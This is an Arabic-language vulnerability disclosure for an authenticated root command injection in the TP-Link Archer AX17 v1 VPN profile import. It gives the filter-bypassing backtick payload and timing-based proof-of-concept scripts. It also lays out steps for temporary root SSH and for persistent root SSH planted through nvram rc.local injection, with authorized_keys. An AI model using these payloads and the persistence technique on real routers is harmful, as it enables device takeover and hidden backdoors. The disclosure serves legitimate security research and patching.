
حقن أوامر نظام التشغيل الموثّق في استيراد عميل VPN الخاص بـ TP-Link Archer AX17 v1.
حقن أوامر نظام التشغيل المُصادَق عليه في استيراد ملف تعريف عميل VPN الخاص بـ Archer AX17 v1.
يقوم مسؤول على الشبكة المحلية (LAN) باستيراد ملف تعريف عميل OpenVPN. يُخزَّن وصف الملف الشخصي كاسم ملف /etc/openvpn/<des>.ovpn. تؤدي قراءة ذلك الملف الشخصي إلى كتابة المسار في /tmp/ovpn_curr_edit. وعند الكتابة التالية على VPN، دون تحميل ملف مُجهَّز، يُمرَّر ذلك المسار دون علامات اقتباس إلى grep وsed، اللذين يشغّلهما خادم الويب بصلاحيات الجذر (root).
يرفض مرشّح الوصف المحارف / و; و| والمسافات، ويحصر النص في 64 حرفًا. تمرّ علامات الاقتباس الخلفية (backticks)، لذا تكون الحمولة S`sleep${IFS}1`. و${IFS} هي وسيلة حصول الأمر على مسافته.
| المتأثر | Archer AX17 v1، البرنامج الثابت 1.1.28 P1 [20250523-rel65103]، والإصدارات السابقة للإصلاح |
| المُصلَح | 1.5.0 Build 20260605 |
| الوصول | جلسة مسؤول على الشبكة المحلية. غير قابلة للوصول قبل تسجيل الدخول. |
| التأثير | تنفيذ أوامر بصلاحيات الجذر |
poc.js.await poc(0)، ثم await poc(1).يعود poc(0) خلال بضع مئات من المللي ثانية. يستغرق poc(1) نحو ثانية إضافية. تلك الفجوة هي sleep 1 وهو يعمل بصلاحيات الجذر. يحذف السكربت الملف الشخصي الذي أنشأه.
تم الاختبار على 1.1.28. كان poc(1) 1238 مللي ثانية، وpoc(3) 3504 مللي ثانية، وpoc(7) 7204 مللي ثانية، مقابل ضابط تحكم (control) قدره 324 مللي ثانية.
يعمل الحقن بصلاحيات الجذر، لذا يمكنه تشغيل dropbear. هناك أمران مهمان بشأن هذا الإصدار:
-L ("Enable SSH session login"). بدونه يُصادِق dropbear ثم يردّ على كل طلب shell بـ exec request failed./etc هو ramfs. يُعاد بناء rc.local و/etc/shadow و/etc/dropbear/authorized_keys من squashfs عند كل إقلاع. فقط أقسام nvram هي التي تبقى.وهذا يقسّمه إلى طريقة مؤقتة وأخرى دائمة.
يحتوي ssh-temp.js على استدعاءين:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
يشغّل sshTemp() برنامج dropbear في وضع حساب الويب. سجّل الدخول بكلمة مرور مسؤول الراوتر:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
تلك الصدفة (shell) هي uid 1000 (admin)، وليست الجذر، ولا يمكنها الكتابة في /etc. للتصعيد، جهّز ssh-root.sh في /tmp/r عبر تلك الصدفة:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
ثم استدعِ runStaged('r') من وحدة التحكم. يشغّل الحقن السكربت بصلاحيات uid 0، ويكتب /etc/dropbear/authorized_keys، ويشغّل dropbear -L -p 2227. (يبني runStaged المسار /tmp/<name> من ${PWD%www} لأن دليل عمل الواجهة الخلفية للويب هو /www.) اتصل:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
يستمر هذا حتى إعادة التشغيل التالية.
شغّل ssh-persist.sh بصلاحيات الجذر (مثلًا عبر صدفة الجذر المؤقتة). يُلحق rc.local بقسم profile في nvram. يستعيد S10boot ذلك القسم إلى /etc قبل أن يشغّل S95done الأمر /etc/rc.local، لذا تُنفَّذ الأوامر عند كل إقلاع.
القسم عبارة عن uci XML مشفّر ومنظَّم سطريًا. يُنشئ <dir> المسار /etc/<dir>، ويُنشئ <file> المسار /etc/<dir>/<file>، ويُكتب اسم الوسم (tag) حرفيًا بعد option . لذلك يستقر وسم يبدأ بـ ; في rc.local على النحو التالي
option ;<command> # 'x'
مما يشغّل <command> بصلاحيات الجذر. يحافظ السكربت على كتلة profile.d الخاصة بالمورّد ويكتب:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
بعد إعادة التشغيل، يكون SSH الجذر على المنفذ 22 بالمفتاح نفسه. احتفظ بنسخة احتياطية من القسم أولًا؛ يطبع السكربت مسار النسخة الاحتياطية وأمر الاستعادة.
ملاحظة: chpasswd غير موجود في هذا البرنامج الثابت. لا تحاول تعيين كلمة مرور الجذر به؛ استخدم authorized_keys (كما هو موضح أعلاه) أو passwd.